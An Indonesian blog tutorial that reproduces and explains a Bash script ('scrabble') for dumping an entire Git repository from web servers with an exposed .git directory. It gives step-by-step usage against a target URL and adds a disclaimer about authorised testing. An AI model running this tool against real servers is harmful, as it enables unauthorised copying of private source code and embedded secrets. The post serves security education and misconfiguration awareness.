Kamu Ingin Request Artikel? Klik Oke :)

Memahami dan Menggunakan Script Git Scraper

 

Memahami dan Menggunakan Script Git Scraper

Dalam dunia teknologi informasi, sering kali kita menemukan server web yang salah konfigurasi, sehingga direktori .git dapat diakses secara publik. Kesalahan ini dapat menjadi celah keamanan yang memungkinkan pihak tak bertanggung jawab mengakses seluruh repositori Git. Artikel ini membahas tentang sebuah script yang dikenal sebagai "Git Scraper" serta cara penggunaannya.


Penjelasan Script Git Scraper

Script ini ditulis dalam bahasa Bash dan dirancang untuk mengunduh seluruh isi repositori Git dari server web yang memiliki direktori .git yang dapat diakses publik. Script bekerja dengan cara:

  1. Mengunduh blob: Mengambil file mentah yang disimpan di dalam repositori Git.

  2. Parsing tree: Menavigasi struktur direktori dan file dalam Git.

  3. Parsing commit: Melacak sejarah commit dan memproses commit induk secara rekursif.

Isi Script

Script Git Scraper terdiri dari tiga fungsi utama:

  1. downloadBlob: Mengunduh objek Git (blob) berdasarkan hash yang ditemukan.

  2. parseTree: Memproses tree Git untuk menavigasi struktur file dan direktori.

  3. parseCommit: Memproses commit Git untuk menemukan tree dan commit induknya.

Di akhir script, data yang diunduh akan disusun kembali menjadi repositori lokal menggunakan perintah git.


Cara Menggunakan Script

1. Persiapan Lingkungan

Pastikan Anda memiliki:

  • Sistem operasi Linux atau macOS dengan akses ke terminal.

  • Tools berikut:

    • bash (tersedia secara default di Linux dan macOS).

    • wget untuk mengunduh file.

    • git untuk bekerja dengan repositori Git.

2. Menyimpan Script


#!/bin/bash
#
# Author: Denny Huang <denny0223@gmail.com>
# Wed Sep 17 2014
# MIT License

function downloadBlob {
	echo downloadBlob $1

	mkdir -p ${1:0:2}
	cd $_

	wget -q -nc $domain/.git/objects/${1:0:2}/${1:2}

	cd ..
}

function parseTree {
	echo parseTree $1

	downloadBlob $1

	while read line
	do
		type=$(echo $line | awk '{print $2}')
		hash=$(echo $line | awk '{print $3}')

		[ "$type" = "tree" ] && parseTree $hash || downloadBlob $hash
	done < <(git cat-file -p $1)
}

function parseCommit {
	echo parseCommit $1

	downloadBlob $1

	tree=$(git cat-file -p $1| sed -n '1p' | awk '{print $2}')
	parseTree $tree

	parent=$(git cat-file -p $1 | sed -n '2p' | awk '{print $2}')

	[ ${#parent} -eq 40 ] && parseCommit $parent
}

[ -z $1 ] && echo -e "missing target url\n\n\
Usage: scrabble <url>\n\
Example: scrabble http://example.com/\n\n\
You need make sure target url had .git folder"\
&& exit

domain=$1
ref=$(curl -s $domain/.git/HEAD | awk '{print $2}')

lastHash=$(curl -s $domain/.git/$ref)

git init

cd .git/objects/

parseCommit $lastHash

cd ../../

echo $lastHash > .git/refs/heads/master

git reset --hard
  1. Salin kode script ke dalam file baru, misalnya scrabble.sh:

    nano scrabble.sh
  2. Tempel kode script ke editor, lalu simpan file tersebut.

wget https://raw.githubusercontent.com/denny0223/scrabble/master/scrabble

3. Memberikan Izin Eksekusi

Jalankan perintah berikut untuk memberikan izin eksekusi pada script:

chmod +x scrabble.sh

4. Menjalankan Script

Gunakan perintah berikut untuk menjalankan script:

./scrabble.sh <url_target>

Contoh:

./scrabble.sh http://example.com/
  • <url_target> adalah URL server target yang memiliki direktori .git yang dapat diakses publik.

5. Hasil

Setelah script selesai dijalankan:

  • Repositori Git target akan direplikasi di direktori lokal Anda.

  • Anda dapat melihat isi repositori dan sejarah commit dari server target.


Disclaimer

⚠️ Penting:

  • Script ini ditujukan untuk tujuan edukasi dan pengujian keamanan.

  • Menggunakan script ini untuk mengakses data tanpa izin dari pemilik server merupakan pelanggaran hukum dan etika profesional.

  • Selalu pastikan Anda memiliki izin resmi sebelum menjalankan script ini pada server manapun.

  • Jika Anda adalah pemilik server, segera perbaiki kesalahan konfigurasi dengan menutup akses ke direktori .git untuk mencegah eksploitasi serupa.

Dengan pemahaman dan tanggung jawab yang benar, Anda dapat menggunakan script ini untuk meningkatkan keamanan sistem Anda dan belajar lebih banyak tentang cara kerja Git.

Posting Komentar